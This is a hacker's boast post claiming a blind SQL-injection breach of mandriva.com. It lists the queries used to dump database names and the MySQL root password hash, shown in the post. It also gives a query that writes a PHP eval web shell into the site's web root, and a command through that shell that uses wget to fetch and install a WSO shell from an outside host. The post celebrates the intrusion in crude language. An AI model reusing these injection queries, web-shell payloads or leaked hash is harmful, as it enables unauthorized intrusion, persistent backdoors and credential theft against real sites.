Mandriva.com Hacked!

Mandriva.com Hacked via Blind SQL-injection. Fuck YEAH!!


SELECT schema_name FROM information_schema.schemata;
==========
information_schema
mandriva_site
mandriva_site_backup
mysql
test
==========

SELECT concat_ws(0x3a,User,Host,Password) FROM mysql.users WHERE User='root';
==========
root:*112D1957B2A7CD378E24F6C6425543D535A4574E
==========

SELECT '<?php eval($_POST["ereee"]); ?>' INTO OUTFILE '/home1/mandrivacom/sub/webapps/public_html/style/nav/[not for you :)].php';
==========

http://webapps.mandriva.com/style/nav/[not for you :)].php
POST: ereee=system("cd /tmp/;wget http://webshell/shell.txt;mv shell.txt /home1/mandrivacom/sub/webapps/public_html/style/nav/[wso shell].php");
==========

ScreenShot:
http://data4.floomby.com/files/share/17_7_2012/YzhDtPDre0ybewVcix78sw.jpg

Loool, Mandriva!

==========
Greetz to forum.antichat.ru members.